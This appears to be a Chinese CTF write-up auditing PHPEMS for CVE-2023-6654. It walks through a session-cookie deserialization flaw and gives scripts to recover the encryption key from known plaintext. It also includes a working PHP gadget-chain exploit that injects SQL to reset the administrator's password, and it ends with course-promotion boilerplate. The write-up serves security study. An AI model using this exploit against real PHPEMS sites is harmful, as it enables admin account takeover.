西湖论剑-phpems-代码审计

0x01环境搭建

 源码

config.inc.php修改相应数据库配置

2024西湖论剑-phpems-代码审计_代码审计

数据库运行pe9.sql文件建立数据库

2024西湖论剑-phpems-代码审计_phpems_02

0x02代码审计

根据题目提示是CVE2023-6654

2024西湖论剑-phpems-代码审计_CTF_03

漏洞点在session.cls.php

查看session.cls.php代码

2024西湖论剑-phpems-代码审计_代码审计_04

查看ginkgo

2024西湖论剑-phpems-代码审计_2024西湖论剑_05

其make方法会判断$G拼接的文件名是否存在,也就是lib文件下的.cls.php文件,存在的就会包含这个文件。

pepdo,ev,pdosql,strings是这里面分别包含的文件,根据CVE披露得知是反序列化漏洞,搜索反序列化点。

2024西湖论剑-phpems-代码审计_CTF_06

strings.cls.php中有利用点

2024西湖论剑-phpems-代码审计_2024西湖论剑_07

getSessionId()方法里面有调用decode

2024西湖论剑-phpems-代码审计_phpems_08

key值为CS,CS值在config.inc.php中,题目环境是修改的

2024西湖论剑-phpems-代码审计_2024西湖论剑_09

使用如下代码可以解密出明文,因为我们知道key

2024西湖论剑-phpems-代码审计_phpems_10

<?php
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2586%2582%258Fgf%25A3%25EE";
$key = CS;
$info = urldecode(urldecode($info));
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
echo $info;

    2024西湖论剑-phpems-代码审计_CTF_11

    encode代码

    public function encode($info)
    {
    $info = serialize($info);
    $key = CS;
    $kl = strlen($key);
    $il = strlen($info);
    for($i = 0; $i < $il; $i++)
    {
    $p = $i%$kl;
    $info[$i] = chr(ord($info[$i])+ord($key[$p]));
    }
    return urlencode($info);
    }
    
    decode代码
    
    public function decode($info)
    {
    $key = CS;
    $info = urldecode($info);
    $kl = strlen($key);
    $il = strlen($info);
    for($i = 0; $i < $il; $i++)
    {
    $p = $i%$kl;
    $info[$i] = chr(ord($info[$i])-ord($key[$p]));
    }
    $info = unserialize($info);
    return $info;
    }

      可以看出里面这个$p值是循环的,加密的出来的值等于其ascll值相加,

      encode是明文+key=密文

      decode是密文-key=明文

      key=密文-明文

      key的长度是32位,也就是我们得到的密码每32位一循环,那么如果我们知道密文中其中一段32位的明文,就可以算出来key了

      ev.cls.php

      2024西湖论剑-phpems-代码审计_phpems_12

      可以确认这个ip是可控的,也就是这个值是可控的

      a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;}

        去掉前面的64位,往后顺延32为取出来,值如下

        :"sessionip";s:9:"127.0.0.1";s:1

          解密脚本

          <?php
          $info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7tSm%25A6nfg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9yjiiemj%25A3%25EE";
          $key = CS;
          $info = urldecode(urldecode($info));
          $info1=substr($info,64,32);
          //echo $info1;
          $ed=strlen($info1);//也就是32
          $dc=32;
          $sessip=':"sessionip";s:9:"127.0.0.1";s:1';
          for ($i=0;$i<$ed;$i++)
          {
          $p=$i%$dc;
          $info1[$i]=chr(ord($info1[$i])-ord($sessip[$p]));
          }
          echo $info1;
          //1hqfx6ticwRxtfviTp940vng!yC12345
          
          构造反序列化链子
          
          session.cls.php的__destruct() 关键代码
          
          $sql = $this->pdosql->makeUpdate($data);
          $this->db->exec($sql);
          
          ![](./myMediaFolder/media/image13.png){width="7.333333333333333in"
          height="2.8976049868766403in"}

            这里可以看出分别需要db和pdosql,以此达到反序列化修改数据库密码,

            构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec

            2024西湖论剑-phpems-代码审计_CTF_13

            0x03漏洞复现

            这里使用网上师傅的EXP

            <?php
            namespace PHPEMS
            {
            class session
            {
            public function __construct()
            {
            $this->sessionid="1111111";
            $this->pdosql= new pdosql();
            $this->db= new pepdo();
            }
            }
            class pdosql
            {
            private $db;
            public function __construct()
            {
            $this->tablepre = 'x2_user set
            userpassword="a10adc3949ba59abbe56e057f20f883e" where
            username="peadmin";#--';
            $this->db=new pepdo();
            }
            
            }
            class pepdo
            {
            private $linkid = 0;
            }
            }
            namespace {
            define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345');
            function encode($info)
            {
            $info = serialize($info);
            $key = CS1;
            $kl = strlen($key);
            $il = strlen($info);
            for($i = 0; $i < $il; $i++)
            {
            $p = $i%$kl;
            $info[$i] = chr(ord($info[$i])+ord($key[$p]));
            }
            return urlencode($info);
            }
            $session = new PHPEMSsession();
            $array = array("sessionid"=>"123123123", $session);
            echo serialize($array)."n";
            echo(urlencode(encode($array)))."n";
            }

              实战中我们的ip是可以伪造的

              2024西湖论剑-phpems-代码审计_CTF_14

              2024西湖论剑-phpems-代码审计_代码审计_15

              2024西湖论剑-phpems-代码审计_phpems_16

              关键代码点

              2024西湖论剑-phpems-代码审计_phpems_17

              需要先创建pepdo和pdosql

              pdosql.cls.php的makeUpdate是用来生成sql语句的

              2024西湖论剑-phpems-代码审计_代码审计_18

              $tb_pre = $this->tablepre

                所以这个sql语句参数可控

                0x04总结

                函数是关键,研究下是否能可控这个反序列化的参数值,并且反序列化中能够调用危险函数。

                网络安全学习路线

                对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

                同时每个成长路线对应的板块都有配套的视频提供:

                需要网络安全学习路线和视频教程的可以在评论区留言哦~

                最后
                • 如果你确实想自学的话,我可以把我自己整理收藏的这些教程分享给你,里面不仅有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相关的课件笔记,我都已经学过了,都可以免费分享给大家!

                给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。

                黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)

                结语

                网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

                特别声明:
                此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失

                评论
                添加红包

                请填写红包祝福语或标题

                红包个数最小为10个

                红包金额最低5元

                当前余额3.43前往充值 >
                需支付:10.00
                成就一亿技术人!
                领取后你会自动成为博主和红包主的粉丝 规则
                hope_wisdom
                发出的红包
                实付
                使用余额支付
                点击重新获取
                扫码支付
                钱包余额 0

                抵扣说明:

                1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
                2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

                余额充值